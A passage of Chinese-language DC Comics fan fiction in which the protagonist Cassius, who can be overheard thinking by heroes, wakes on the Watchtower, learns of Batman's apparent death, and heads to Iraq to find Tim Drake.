卡修斯必须得承认，失重的感觉真的太糟糕了。 浑身的五脏六腑好像都在痒痒。 也许它是对的，我真的会死在这里。 他感觉到自己尾椎的位置在隐隐发烫，在即将接触到地面的瞬间，卡修斯闭上了眼睛。 * “啊！” 他猛地坐了起来。 “啊！”坐在他旁边的人也跟见鬼了似的挑了起来。 “你醒了？！” 卡修斯的脑子还是一团浆糊。 他眯起眼，仔细分辨了一会，才现自己并不认识对方。 “我……咳……我现在在哪里？” 他刚一开口，就发现自己说话的声音沙哑的厉害。 那个小孩已经第一时间按了调用铃。 没一会儿功夫，好多人都出现在了他的面前。 有正常地球人长相的，也有长的不那麽像人的。 没过一会儿，自己见过的那个人出现了。只不过这一次，他没有再刻意隐藏自己魁梧的身型，也没有戴那副愚蠢的眼镜。 卡修斯看着超人：“我还在地球吗？” 超人温和地回应他：“这里是瞭望塔。” 第90章 我要去找他 卡修斯眨了眨眼，视线逐渐聚焦在头顶的天花板上。那里虽然也是白色的，但材质明显不同，一看就很高科技的样子。 瞭望塔，真没想到自己这辈子居然真的有离开地球的这一天。 超人蓝色的眼睛里带着明显的关切，他身着那身标志性的红蓝制服，盾形的“S”标志在胸前非常显眼，他的披风此刻正安静的垂在身后。 当他身着普通人类服饰的时候，卡修斯从没觉得他这麽高大和有压迫感，果然是人靠衣装吗？ 他不太适应这种压迫感，想要从床上起来，可他的身体像灌了铅似的沉重。 超人像是知道他心里在想什麽似的，默默飘远了些，并且将原本微微悬在空中的双脚落在了地上。 “觉得身体沉重是正常的，为了正常的工作和生活，瞭望塔只要运作，就一直开着重力系统。普通人类第一次上来，的确会有些不太适应。更何况你昏迷了将近半个月。” 超人耐心解释道。 什麽？他居然昏迷了半个月？可是在他的梦里，自己连半天都没有过完。 刚才守着自己的小男孩重新出现了，手上还拿着一杯水，非常友善地递给了他。 温热的水流滑过喉咙，缓解了干涩的疼痛。卡修斯继续环顾四周，才发现自己躺着的位置和普通的病床有很大不同，像是一个茧的形状，周围的设备都闪烁着微弱的蓝光。再往远处看，透过舷窗，外面一片漆黑，但隐隐约约能看到远处的星球。 “我怎麽在这里？”他一边说，一边想要站起来。 但他发现自己确实虚弱的厉害，一共才说了两三句话，居然有些气喘吁吁了。 超人走过来轻轻按住他的手，示意他不要动。 “你现在还需要休息。” 卡修斯惊恐的发现他居然听到了超人的心声。 一瞬间，他感觉到毛骨悚然。按照之前的逻辑，谁被他听到心声谁就是反派，超人这是黑化了？这也太吓人了？ “是我为你们创建了精神联结。” 来人中一个绿油油的，和人类长相明显有差异的人型生物也走了上来。 “希尔先生，感谢你的及时预警，我才能侥幸得救。” 他的脑海里出现一道陌生的声音。 “火星猎人？” 琼恩走上前，对他做了一个他看不懂的动作，但根据他的判断，应该是某种礼节。 “你救了我的命，也挽救了地球，请允许我对您献上最崇高的谢意。” 卡修斯愣了一下，然后看向超人。 超人听到了他心中的询问，说：“已经没事了，多亏你的预警。蝙蝠侠及时联系了黑暗正义联盟，扎塔娜和康斯坦丁带领着魔法侧的战友们，为地球布置了精神屏障，抵御了反生命方程式的控制，火星猎人也获救了。有了琼恩，联盟成员在世界各地御敌的时候都可以创建起精神联结，及时将自己面对的战况传递给所有人，这对我们对抗达克赛德的降临非常有帮助，总之，我们击败了达克赛德，将地球受到的伤害控制在了最小。” 听超人说完，卡修斯才觉得自己悬着的心放了下来，他长舒一口气： “那就好。” 他没注意到超人眼中闪过的一丝悲伤。 “我也没做什麽，只是碰巧知道一些事情，就说了几句话而已。”他礼貌的谦虚道。 这里虽然不是他的宇宙，但也是地球，只要三观正常，谁也不会眼睁睁的看着人类被另一个种族肆意的杀戮和奴役吧，就算对方是神也不行。 不知道是不是精神放松下来的原因，卡修斯觉得才醒了这一会儿，又累的不行了。 火星猎人走到床边，将一只手轻轻放在他的额头：“你的精神受到了重创，还很疲惫，还是再休息一会儿吧。” 一股温暖的能量涌入卡修斯的脑海，像是轻柔的波浪在冲刷着他的意识，困意再次袭来，在陷入沉睡前的最后一刻，他听到火星猎人在他的意识中说： “好好休息吧，我们答应过蝙蝠侠要照顾好你。” 不知道为什麽，他总觉得火星猎人说这句话的时候，语气有些悲伤。但他确实感觉到舒服和放松，再也没办法思考更多东西，渐渐睡了过去。 当卡修斯恢复到能随意走动时，又过了几天。他已经知道，一开始守在他身边的那个小孩是比利，也就是沙赞。因为在之前对抗达克赛德的精神攻击中，使用了太多的力量，暂时没办法恢复成魔法师样子。 一开始，瞭望塔里还有许多普通人，听比利说，都是被达克赛德用反生命方程式控制过的人，在瞭望塔上接受精神治疗，后来，普通人类慢慢少了，直到现在，貌似整个瞭望塔上只剩下他一个无关人士。 这是不是说明，在他失去意识的这段时间，其实也是被反生命方程式给控制了？因为他清楚的记得，在自己的梦境中，那个“尼尔”对自己提及过“黑暗君主”这个词。他说的应该就是达克赛德。 卡修斯觉得有些奇怪，据他所知，被反生命方程式控制的人类，可不是陷入昏睡这种症状，而是彻底被达克赛德控制，成为他意识的一部分。 他将自己的疑惑告诉火星猎人，琼恩在他的精神中探查了一遍，才略带同情地说，或许是因为他的精神受过更大的折磨，所以在收到攻击的时候，自动开启了保护机制，让自己陷入沉睡。 卡修斯知道他说的“更大的折磨”是什麽，觉得有点好笑，难道他还要感谢拉尔斯曾经对他的折磨吗？ “你就是那个提醒我们去救琼恩的英雄？” 卡修斯此刻正坐在瞭望塔的休闲区等自己的咖啡，听到声音回神，就看到一个穿着红色制服、胸口有闪电标志的男人坐正站在他的面前，手里拿着一袋薯片吃得津津有味。 “嗨你好呀最近地球上比较忙这会儿才有空上瞭望塔早就想见见你了你好我是闪电侠……” 那人一口气说了一长串。 卡修斯楞了一下，下意识问道：“你是巴里还是沃利？” 闪电侠愣了一下，对方不但知道自己的名字，还知道自己叔叔的名字感到吃惊。 他瞪大了眼睛，原本刚放进嘴里的薯片掉在了地上：“你怎麽知道——我是说，哇哦，这可真是……你不但知道我，还知道我叔叔？” 看来这是沃利了。 “呃……” 卡修斯这才意识到，作为“普通人类”这个角色，他好像确实不应该知道这麽多。 不过出于对超级英雄的好奇，他还是忍不住多打量了沃利几眼。根据他对模糊的记忆，每次遇到什麽大事件，好像总得献祭掉一个闪电侠。 “啧啧啧，闪闪祭天，法力无边，能见到活的闪电侠就说明这次问题确实不大。这可真是太好了，希望这个闪能活的久一点吧……” 沃利：…… 还头一次见到一见面就让我祭天的…… 不对，琼恩也不在这里啊？为什麽他能听到这个人的心声？ 最近瞭望塔上的超级英雄确实比较少，火星猎人说大家都在地球，帮助人类进行灾后重建——虽然达克赛德被击败了，但他还是给地球带来了不小的灾难。 所以卡修斯真正见到的超级英雄很少，除了睡觉休养，他大多数时间都是一个人，都快忘了自己的心声面对超级英雄时是个大筛子这种设置了。 看到闪电侠看着自己的眼神忽然一眼难尽起来，他还没有像往常那样，第一时间意识到对方已经听到了自己的心声。 “沃利，你在这里？” 一个身材魁梧的金发男人和一个同样身材高挑的女性从转角处走了进来。 男人目测有将近两米，他的上半身穿着紧身制服铠甲，铠甲表面由一片片金色鳞片形状组成，腰带中间的拱形标志让卡修斯立即认出了他的身份——亚瑟·库瑞AKA海王。 她身边的女性更是耀眼，她有一头茂密卷曲的黑色长发，带有鹰型标志的金红色抹额和护腕，红色的战靴，无一不彰显着对方的身份——戴爱娜·普林斯，神奇女侠，亚马逊女王和宙斯的女儿，天堂岛的公主。 他们也看到了卡修斯，戴安娜首先对他绽放了一个迷人的微笑：“之前几次来瞭望塔，你都睡着，我也没有来打扰，感觉怎麽样？好些了吗？” 卡修斯一瞬间屏住了呼吸。 戴安娜的美貌在近距离下极具冲击力。她的五官极美，确确实实称得上是神迹，她的眼睛非常有神采，像是蕴含着整个星空，就连唇角上扬的弧度也忍不住让人沉醉其中。 与其他男性英雄紧紧包住全身的制服不同，她的战甲非常单薄，裸露出来的肌肉线条拥有一种力量感的美。 这让凡人无法让人生出亵渎之心。 卡修斯必须得承认，这是他这辈子见过的，最漂亮的女性。 “天呐！她真的好美！女神，我滴女神！我要被你掰直了！” 卡修斯没有注意到闪电侠和海王看着他时的奇怪眼神，继续在心里prpr：“我要当女神滴狗勾！快对我用你滴小皮鞭！” 闪电侠&海王：…… 兄弟，矜持点…… 戴爱娜噗嗤一声笑出来。 她慈爱的看着卡修斯：“非常感谢你直白的赞美，已经很久没听到过小男孩这麽热情的夸我了。” 卡修斯沉迷美貌的眼神忽然变得茫然起来。 啥？ 女神将腰间的真言套索扬了扬：“你说的小皮鞭是这个吗？它叫真言套索，是用来对付敌人的，可不是什麽玩具。” 戴安娜非常认真的向“无知”的普通群众科普她的武器。 两个男人看着卡修斯的脸色，就知道他并不需要这种科普。 卡修斯终于后知后觉地想起了自己的设置。 完了，又丢人了。 为什麽明明已经离开了地球，还是逃离不了社死的命运？ 他绝望地看着闪电侠和海王，再次生出想要找个地缝钻进去的想法。 英雄们都非常善解人意，也很懂得换位思考，带入一下自己，要是这种心里话被仰慕的女神听到了，确实想要立刻换个宇宙重新开始。 沃利马上说：“哎呀，我太饿了，一饿我就听不见和吃东西无关的任何话题，亚瑟，陪我去看看储物柜里还有些什麽吃的吧。” 说着他就走到亚瑟面前，拍了拍他，示意让他跟自己一块儿离开这个可怜男人的社死现场。 亚瑟点了点头，转身跟着沃利一起离开：“你说什麽？我可是鱼，听不懂人话……” 谢谢，虽然你们很体贴，但是我完全没被安慰到。该走的是我啊…… 卡修斯看着两个人的背影，悲伤的想。 “对不起，我不是故意要冒犯你的。”卡修斯红着脸，硬着头皮对戴安娜道歉。 女神非常友善的笑了笑，走上前，毫不在意的拍了拍他的肩。 “不用道歉，我能感受到你对我的赞美充满了欣赏，而且没有任何恶意。这很可爱，我喜欢你这样勇敢表达自己的男孩。” 并没有很勇敢，完全是被迫的。 女神爽朗的哈哈大笑起来。 卡修斯觉得这个瞭望塔真的待不下去了。 这里的人一个个都听得懂中文，不过这也不奇怪，超级英雄们都是全世界执行无国界的救援任务，而且他们大多数都是超人类，掌握多门语言好像也是超级英雄的基本操作。 但这对他来说真的太不友好了。 神奇女侠看他实在是羞愧的不行，友善地问：“你需要独自待一会儿吗？” 卡修斯本来想点头，但一想，还不如直接问问自己能不能离开呢，于是开口道：“不了，女神，我想问一下，蝙蝠侠什麽时候来瞭望塔，我的身体没什麽大碍了，想要跟他一起回哥谭。” 神奇女侠原本轻松愉快的表情忽然就变了，她收起了笑容，变得沉默起来。 这让卡修斯有了一种不太好的预感。 他想到自己所了解的最终危机中，蝙蝠侠被达克赛德的欧米伽射线击中的结局，觉得不可能。超人不是说，没有造成更多的损失吗？而且他明明向阿尔弗预警过，告诉他提醒蝙蝠侠有危险的。以蝙蝠侠的心智，只要有准备，绝对不会陷入最糟糕的结局！ 戴安娜听到了他心中的想法，先说了一句：“我听布鲁斯说，你有可能来自一个时间线比我们更快的宇宙，所以，这里发生的一切，在你的世界已经发生过了，是吗？” 卡修斯不知道怎麽跟她表述这并不是他的世界发生的事。其实当初在布鲁斯面前的时候，他就很多次在心里故意说过这里是漫画世界的事，但布鲁斯好像从没有做出过反应，那个时候他就知道，也许这又是什麽没有道理的世界规则限制。 于是他只能点了点头。 神奇女侠说：“你提醒布鲁斯，是想要让他避免悲剧的命运，但他是一个伟大的战士。” 卡修斯看着她，等着她继续说下去。他想知道，为什麽连危在旦夕的火星猎人都能得救，布鲁斯却不在这里。 戴安娜的声音变得越发低沉了：“布鲁斯他……在我们得到警报后，就发现，达克赛德已经用反生命方程式控制了一些人，其中还有许多孩子。达克赛德率领的军队，通过剥夺人类的精神，降临在人们的肉。身上来进入地球，为了解救那些已经被控制的人类，蝙蝠侠自愿被俘虏。” “什……” 卡修斯只吐出一个字母，就没再说下去。 他难过的意识到，这确实是他所认识的蝙蝠侠会的事情，他总是这样，牺牲自己去拯救别人。 “他用被抽离的精神体找到了达克赛德，拯救了那些被控制的人类，也为我们争取了关键的时间。但最后，他被达克赛德的欧米伽射线击中了。” 神奇女侠那双如星辰般闪耀的眸中充满了悲悯的泪光。 “蝙蝠侠牺牲了。” 她说。 卡修斯原本痛苦的神情忽然愣住了，他立即反驳道：“不可能！” “超人将他的遗体从达克赛德的堡垒里带了出来，我们所有人都亲眼看到了。” 戴安娜以为他是无法接受这个事实，伸手想要安抚他：“我很抱歉……” “不，你不明白！”卡修斯打断了他，声音坚定，“蝙蝠侠没有死，他只是迷失在了时间里！” 戴安娜愣住了：“什麽？” “布鲁斯被欧米伽射线击中，但他不会死，他只是被发送到了古代！他会……”卡修斯急切地想要解释，告诉女侠，布鲁斯会经历时间循环，但最终会回来。 可是后半句话他无论如何都说不出来，反而再一次开始变得呼吸急促起来。 戴安娜看到他神情不对，先叫了一声：“卡修斯？” 见他的表情越来越痛苦，立即一把将他打横抱起，往瞭望塔的医疗舱冲。 等卡修斯再醒来的时候，发现除了戴安娜之外，超人，闪电侠，海王，再一次站在了他的病床周围。 “对不起，我说不出来……”卡修斯哑着嗓子道歉，但他仍旧想要超级英雄们相信布鲁斯还活着的消息：“我不知道该怎麽让你们相信我说的……” 他知道，这些英雄们，尤其是超人，目睹了蝙蝠侠的遗体，这就让他们很难相信自己说的话。 超人将手按在他的肩膀上，温和地说：“别激动，在你之前，提姆也说过类似的话，他还说，如果你醒来的话，一定会同意他的观点……但当时我们以为他只是无法接受布鲁斯的死亡……” “因为他是对的！”卡修斯挣扎着想要下床，“我得回地球，现在！” 他知道提姆一定已经从韦恩庄园的那幅画，甚至是他们从潜艇中拿到的照片，得到了一些提示。 他想到了在梦里，将自己唤醒的那张照片，立即问：“我被送来瞭望塔的时候，有没有什麽随身物品，比如放照片的盒子，或者直接是照片？” 只要给他们展示那张照片，他们一定会相信时间穿越的设想。 “我们相信你！”神奇女侠立即开口道。 “蝙蝠侠把你送上来的时候很匆忙，没带什麽随身物品，但我们相信你。”神奇女侠说，“我也希望布鲁斯还活着，我们都希望还能再一次见到他！” “那我就得回去。”他抬头直视超人，“提姆在哪里？” 卡修斯知道，如果没有人相信他，他一定会自己去找布鲁斯还活着的证据的，他会有危险！ “他三天前就离开了哥谭，现在没有人知道他的去向。”超人说。 “怎麽会？”卡修斯喃喃道。 他明明改变了一些的。在这里，达米安不再仇恨他，他和杰森的关系也有所缓和，他又怎麽会孤身一人呢？ 难道那些操。蛋又糟糕的事情真的是没法改变的吗？到底是谁在跟他们强行制造挫折？ 卡修斯自语道：“他去找布鲁斯了……独自一人。” “我要回去。” 卡修斯再次看向超人，坚定的表达了自己的诉求。 他不知道这些英雄们不愿让他离开瞭望塔的理由是什麽。 沃利左右看了看，终于忍不住说：“其实是布鲁斯送你来瞭望塔时交代的……” “交代什麽？” 卡修斯追问。 “他说，一旦你醒来，如果他不在，让我们务必看好你，让你暂时不要回地球。”沃利说。 “为什麽？”卡修斯真实的疑惑。 “恶魔之首回来了。” 超人终于说道。 “什麽？！”卡修斯失声叫道。 超人点了点头：“他根本没有死，丧钟杀死的是他的替身。达克赛德能神不知鬼不觉的利用反生命方程式慢慢控制人类，也有他的一份功劳。” 超人的神情一改往日的和煦，变得阴沉起来。 怎麽可能？ 卡修斯觉得难以置信。他一直担心的是拉尔斯利用达米安或者他来复活，但谁能想到，他其实根本没有死？ 他连自己的女儿塔利亚都骗过去了，究竟想干什麽？ “蝙蝠侠说他会伤害你，也担心你醒了之后，做出什麽不理智的事，所以让我们务必将你留在瞭望塔。蝙蝠侠总是对的。” 这是亚瑟在说话。 “我必须得回去。”卡修斯坚定道。 “我不可能在瞭望塔躲一辈子。我得去找提姆，只有我知道能在哪里找到他，放他一个人，他会有危险的。等布鲁斯回来，发现他的孩子受到了伤害，他会心碎的。” 几个超级英雄互相看了看。超人和神奇女侠知道当初杰森死的时候，布鲁斯度过了怎样一段漫长的黑暗时光。 最后，超人终于下定决心道：“好吧，我带你回去。”【你现在阅读的是 】 90-100 第91章 那你喜欢吗？ 哥谭的夜空被乌云笼罩，细雨无声地落下，打湿了护卫在韦恩塔顶的滴水兽。 此刻的卡修斯正站在其中一只滴水兽上。雨水湿润了他的头发，水汽沾在他的睫毛上，让他看什麽都有种雾蒙蒙的感觉。 超人本想将他直接送回命运纺车，但他拒绝了，指明将他放在这里就好。 超人将他放在这儿后，又在他身边悬浮了一会儿——就好像蝙蝠侠还在这座城市里，他只要再等等，对方就会出现，随后站在其中一只滴水兽上，：“超人，你又来哥谭做什麽？” 这时他就会给“满脸写着高兴”的蝙蝠侠递上一份大肚汉堡，并告诉他，这家汉堡很难买，让他最好趁热吃。 可惜目前事务繁多，超人也只能在这儿停留一小会儿，接着就得回到瞭望塔——蝙蝠侠不在，他就得接过平时他负责的那部分工作，而且现在还要继续处理战后事务。即便他是拥有超级处理能力的氪星人，目前也没有足够的时间单纯用来悲春怀秋。 “有任何需要，记得调用我。”超人在离开前说。 “我会的。”卡修斯点头致谢。但他也知道超人现在有多忙。除非遇到生死攸关的大事。否则他并不打算依靠超人来解决问题。 红色的披风在自己面前一晃而过，超人瞬间消失在夜空中。 卡修斯深吸一口气，潮湿的空气中混合着哥谭特有的铁锈和硝烟的味道。他并不觉得自己在哥谭住的足够久，但他竟然产生了一种怀念的心情。 一只抓鈎落在卡修斯站的位置隔壁的滴水兽爪上，蝙蝠侠从底下跃上来，轻盈的落在他隔壁的那尊滴水兽上。 “卡修斯？”蝙蝠侠开口，声音和他听到过的电子音没有任何区别，但卡修斯莫名地从他的语调中听出一丝疲惫，“B……不是让你留在瞭望塔修养？” 卡修斯看着正在跟他说话的黑暗骑士，有点恍惚。有那麽一瞬间，他以为这是布鲁斯，但他立刻意识到并不是这样。 面前的蝙蝠侠比布鲁斯要略矮一些，仔细看的话，没被遮住的下半张脸的皮肤也比布鲁斯更年轻一些。当然，这些细微的差别，也是非常了解曾经的蝙蝠侠，才能发觉。 韦恩塔高处风大，吹起了蝙蝠侠的披风，但此刻的卡修斯并没有心情去欣赏总是在心里垂涎的胡安和吉姆。 “你……”才说了一个字，一抹红绿色的制服也从塔底跃了上来。 “吱吱，你为什麽不听父亲的话？” 达米安也站在了滴水兽上。 卡修斯的视线在两人身上扫过几眼，心里默默想：“看来还是迪克继承了披风，也不知道这里的披风争夺战是不是也和自己知道的一样伤感情。” 迪克已经一直能听到卡修斯的心声，因此没什麽特别的反应，倒是达米安吃了一惊，他疑惑的看着卡修斯问：“你刚才说什麽？什麽披风争夺战？” 这回吃惊的轮到卡修斯了：“你也能听到我的心声了？” 他失声道。 带着多米诺面具的达米安皱了皱眉：“什麽叫‘也’？” 说罢，他看向身边的蝙蝠侠，问：“你刚才看到他说话了没？” “没。”迪克摇头。 他本来想告诉达米安，只要是超级英雄，都能听到卡修斯的心声。不过想了想，觉得这种事还是由卡修斯亲自开口告诉他会比较好。所以他简短的回答完之后，就保持了沉默。 卡修斯现在也没心情在这个问题上纠缠，直接道：“我没开口说话，你刚才听到的应该是我的心声。” “什麽意思？” 达米安追问道。他担心卡修斯是因为昏迷太久，被反生命方程式影响到，产生了一些“超能力。” “只要是超级英雄或者义警，都能听到我的心声。D，恭喜你，终于摆脱了刺客联盟的影响。”卡修斯虽然说着恭喜的话，但语气里难掩心不在焉。 达米安瞬间明白了卡修斯的话什麽意思。怪不得之前好几次，卡修斯明明没说话，但大家却都好像能听到他说话似的跟他聊天。他顿时有点不高兴，为什麽无论卡修斯还是其他什麽人，在这之前，都没人告诉他？明明他才是吱吱最重要的人！ 但卡修斯没再继续跟他解释，直接转向蝙蝠侠问。 “你选了D当你的罗宾？” “不是我选的，是鸟宝主动提议的。”迪克澄清道。 “怎麽可能？提姆明明那麽看重这个身份。” 卡修斯在心里失落的想着。 “你什麽意思？难道在你心里，只有他能做罗宾吗？那我在你心里到底算什麽？”达米安真的有些生气了。 “不，我是担心你们之间因为罗宾的归属问题产生误会。”说着，卡修斯将视线再次投向蝙蝠侠，“你知道他为这个身份付出了什麽，如果是因为‘你们两个是平等的，而D更需要这个身份来纠正刺客联盟的教育给他带来的影响’这种说辞，他会有多难受。” 说着，他又在心里补充了一句：“事事周到不是他不需要关心的理由。” 迪克觉得有些心虚，如果不是提姆主动将罗宾的身份让给达米安的话，他确实本来也没打算让他当自己的罗宾。 正如卡修斯说的那样，在他心里，提姆和他是平等的，他不需要继续做新的蝙蝠侠的“学徒”，而虽然有所收敛，但行事依然暴戾的达米安更需要自己的监管。 提姆一直都是家里最懂事的，他认为就算自己这样做了，提姆也一定会懂的，会理解自己的苦心。 可现在看来，他似乎并不是一个合格的大哥，甚至没有刚认识提姆半年都不到的人了解自己的弟弟。 “我……”他刚想说话，就被达米安打断：“才不是，是德雷克抛弃了罗宾的荣耀！” “他是为了你！”卡修斯提高声音，第一次用这麽严厉的口吻去反驳达米安，“因为他不想让迪克为难，也不想让布鲁斯失望。” “因为你没有像另一个宇宙那样将他视为仇人，伤害他。所以他就尽自己所能的成全每一个人，就像布鲁斯牺牲自己，也要救别人那样。” 听到他的心声中提起布鲁斯，蝙蝠侠和罗宾都沉默了。 过了好一会儿，达米安才说：“所以，他说……父亲没有死，要去找他，是骗我们的，他只是单纯想要离开哥谭，离开我们是吗？” “他没有……”卡修斯猛地停顿，惊讶的看向两人：“什麽？你们相信他？” 达米安点了点头：“虽然觉得不可思议，但那可是父亲，德雷克还那麽聪明，我相信他。” 卡修斯感觉达米安的话好像是一剂强心针，让他知道，提姆至少不是在孤立无援的情况下离开的。 “我本来也觉得不可能，但提姆拿出了证据，庄园的那幅画……”迪克也开口了，“他说他要去找更多布鲁斯留下的线索，说不定那就是求援信号。” “可超人说他是不告而别的……”卡修斯喃喃地说。 “他是故意的。提姆认为拉尔斯这一次作为达克赛德的爪牙，为他提供了穿越时空的灵感甚至一定的技术。所以达克赛德才会从另一个星球的奇点利用反生命方程式，通过精神降临的方式穿越空间，他或许也是想通过达克赛德来实验精神永生的可能性。”迪克接着说，“他需要造成和我们决裂的假象，这样才能取得拉尔斯的信任，他打算设法接近拉尔斯。” 至于接近他做什麽，迪克没有说。但卡修斯注意到，他在说最后一句话的时候，不自觉悄悄瞥了达米安一眼。 这些应该是提姆顾及到达米安的感受，私下里跟他说的。他能感觉到，也许提姆将拉尔斯想把达米安当作下一次重生容器的事也告诉迪克了。 直到提姆离开的时候，是得到兄弟支持的这个消息，终于让卡修斯心里好过了一些。 但是—— “你们就让他一个未成年人，独自去对付一个活了六百多年的恶魔？是不是对他也太放心了！” 卡修斯在心里大喊。 达米安对他这样称呼自己的外祖父还是有些不适应，所以表情有些难看，但现在他已经知道，外祖父说的和做的，都是不对的，毁灭旧的世界也不能让他们更好的统治新世界。 迪克倒是愣住了。最近这段时间，事情实在太多，所以当他听到提姆用那麽胸有成竹的语气说起自己的计划的时候，出于对一向可靠的他的信任，他同意了，可卡修斯说的对，再怎麽样，提姆也只是个不到18岁的孩子，真的能一人对付连布鲁斯都觉得棘手的恶魔之首吗？ 可是哥谭和布鲁德海文都刚经历过达克赛德造成的混乱，还在恢复的过程中，他没办法离开这儿，给他提供支持。 卡修斯想到提姆可能的遭遇，就完全坐不住：“告诉我他在哪里，我会找到他，去帮他。” “可是……” 迪克虽然对卡修斯在刺客联盟的遭遇并不是特别清楚，但当初知道拉尔斯没有死时，布鲁斯交代的第一件事就是让正联的战友们照顾好卡修斯，别让拉尔斯有接近他的机会。很显然，布鲁斯知道拉尔斯和卡修斯之间的纠葛。他怎麽能违背布鲁斯的意愿，让卡修斯主动送上门去？ “没有时间了。”卡修斯的态度很坚定，“除了刺客联盟，还有一个蜘蛛议会潜伏在暗处，他可能会遇到致命危险，我必须去帮他！” 他的语气非常的焦急。 “蜘蛛议会？”达米安反问。 他知道这个组织，猎杀过许多刺客联盟的高级成员，而且他们的杀手很多都经过改造，或者有异能，确实很危险。 “你能保证，将德雷克完好无缺地带回来吗？”达米安问道。 卡修斯立即向曾经回应少主达米安那样回应他：“我将尽我所能。” 罗宾点了点头：“德雷克那个又固执，又自大，又不听劝告的混蛋！如果有谁能带他回来，我相信也只有你了。” 蝙蝠侠也侧目看向罗宾，只见他双手抱臂，表情严肃：“吱吱，找到他，带他回来，我的祖父很危险，蜘蛛议会也很危险，我不想为了找回父亲，失去一个兄弟。” 蝙蝠侠犹豫了片刻，最终叹了口气：“好吧，如果B回来，因为你们擅自违背他的命令行动而责怪我，我一定会狠狠揍你们两个人的屁股！” 卡修斯笑了，他知道，这是迪克也默许了他去找提姆。 虽然自己做什麽不需要他们的同意，但有他们的支持，还是让卡修斯感觉好了许多。 “只是我们现在没办法为你提供更好的经济支持……”蝙蝠侠有些为难地说。 为了制造布鲁斯还在的假象，他们不得已，和缄默合作，提姆和他们做戏，很大程度上也是为了防范缄默。 卢修斯在集团里盯着缄默，前两天他突然秘密派出了自己的女儿塔姆去找提姆，等他们知道的时候，塔姆已经直接从莫斯科出发，踏上了查找提姆的路。迪克猜测，一定是卢修斯发现了缄默的异动，所以才做出这个决定的。 他本想拜托杰森出发找回那个女孩和提姆，但现在东区也不太平，那里需要红头罩坐镇，更何况如果他离开，缄默一定会有所防范。可卡修斯绝对是悄悄找回塔姆最好的帮手。 原本还在犹豫的迪克立刻觉得，现在简直没有放卡修斯去找人更好的选择了。 “离开之前你去见见卢修斯，除了提姆，我希望你能把卢修斯的女儿塔姆·福克斯也带回来。”蝙蝠侠立即说道。 “什麽？塔姆已经出发了？”卡修斯忍不住提高声音。 他不知道提姆具体什麽时候被重伤，不得不摘除脾脏，但是知道这件事发生在塔姆离开哥谭，找到提姆之前。 “你说什麽？我没听清。”蝙蝠侠想让他再说一遍。 “没听清是好事，说明这件事还没发生！”卡修斯快速的说道。 “能帮我安排一下吗，我立刻去见卢修斯，今晚就出发。”卡修斯说。 * 哥谭的街道比卡修斯记忆中破败了许多。迪克说的对，达克赛德的入侵虽然被阻止，但城市还是被受到过反生命方程式的人破坏的不少。 和蝙蝠侠和罗宾聊过以后，他们直接将他带到了卢修斯的家。 “希尔先生。”卢修斯站起身，伸出手，“阿尔弗告诉我你要来。” 卡修斯握住了他的手：“谢谢你见我，福克斯先生。我需要知道提姆最后出现的位置。” 卢修斯什麽都没问，他从抽屉里拿出一个文档夹：“塔姆一直在追他，但运气不好，总是慢一步，最后一次定位显示他在伊拉克的沙漠地带。”他推了推眼睛，“从这儿直接去那里的话，需要一些时间，而且沙漠里信号不稳定，任何电子设备都有可能会被干扰。” 卡修斯翻开文档夹，里面是几张卫星传输的高清照片。照片上隐约能看到几个模糊的人影，但根本无法辨认是谁。 卡修斯合上文档夹：“我会尽快出发，能给我塔姆的联系方式吗？” 卢修斯递给他一张名片：“上面有她的卫星电话，不过沙漠中的通信很不稳定。” 卡修斯将名片收好，准备离开：“感谢您的帮助。” 卢修斯看着他，眼中带着十分克制的担忧：“是你在帮助我们，希望你能及时找到他……和我的女儿。” 提姆他们的保密工作做的非常好，连他都骗过去了，以至于他一开始只单纯的认为他是赌气离家，所以才派塔姆去找他。如今知道提姆身边不但有刺客联盟，还有蜘蛛议会，他止不住的担心，担心自己没有受过任何义警训练的女儿会因为自己这次的疏忽而受到伤害。 卡修斯看出了他的担忧，郑重地向他承诺：“我会把他，他们，安全带回来的。” 离开卢修斯家后，卡修斯再一次联系了阿尔弗雷德。他需要空中支持。 原本他是打算听从迪克的意见，低调离开哥谭，订最快一班飞往伊拉克的机票。但是现在，依靠民航恐怕赶不及了。 他记得，提姆好像就是在伊拉克，找到布鲁斯留下的讯息后，突然遭遇了蜘蛛议会的杀手。 阿尔弗雷德所驾驶的蝙蝠机将卡修斯放在了伊拉克首都巴格达附近才离开。这里比卡修斯想象的更加炎热。刚出机舱门，扑面而来的干燥热浪几乎让他无法呼吸。卡修斯租了一辆越野车，按照卢修斯文档中提到的坐标，驶向沙漠深处。 路上，他拨打了塔姆的电话，好不容易接通了，遗憾的是塔姆也还没找到提姆具体下榻的酒店。 卡修斯让她别着急，慢慢找。 他现在只能把塔姆找提姆的进度当作锚点，唯一确认的是，当她找到提姆订的酒店时，打开房间门，就会看到重伤的提姆，然后会遭到刺客联盟的绑架。 所以他只希望塔姆能晚点找到酒店。 挂断电话，卡修斯又看了眼地图，距离提姆最后出现的位置还有几十公里。他深吸一口气，踩下油门，越野车在沙丘间颠簸前行。 突然，他的卫星电话响了。是一个陌生号码。 卡修斯似有预感似的心脏漏跳半拍，瞬间接起电话。 “喂？”他的声音有些颤抖。 “卡修斯？”电话那头传来久违的，熟悉的声音。那声音听上去疲惫又沙哑。 “提摩西！”卡修斯差点哭出来，他现在还能给自己打电话，就说明一切都还来得及，来不及解释，他直接问，“你在哪里？把位置发给我！” 电话那头沉默一会儿：“你该听布鲁斯的话，留在瞭望塔，不该来找我的。” “放屁！”卡修斯忍不住爆了粗口，“废话少说，赶紧报坐标，再说半个我不想听的字，我们以前的约定就全部作废！” 他恶狠狠地说。 电话里不甚清晰的提姆的呼吸声短暂地停顿了一下，卡修斯甚至怀疑他听到了一声小小的笑声。随后才听到提姆叹了口气，坦白道：“我现在正和刺客联盟的人在一起。” 卡修斯握紧了方向盘：“我知道，我还知道他们会连累你！赶紧报坐标，别让我说第三遍！” “我需要拉尔斯的帮助。”提姆的声音很低，“但我知道，你有多恨他。” 卡修斯咬牙：“我再给你最后一次机会，再不告诉我你在哪儿，我立刻就走，以后你也休想再见到我！如果这就是你坚持的。” “好吧，你恐吓到我了。”提姆低低笑了一声，卡修斯听到听筒的远处好像还有做作的呕吐声。他知道这是和提姆同行的刺客联盟的杀手，他的心立刻提了起来。 提姆快速报了个坐标，卡修斯再次拿过地图看了一眼，立刻调转方向，朝新的位置驶去。 “别挂电话。”卡修斯说，“等我见到你再挂。” 他的语气很轻松，可事实上，他的心几乎就在嗓子眼的位置悬着。 “你身边有几个人？” 卡修斯一边开车一边问。 “三个，怎麽了。” 没怎麽，和你被重伤的时候人数一致，我希望这只是该死的巧合！ 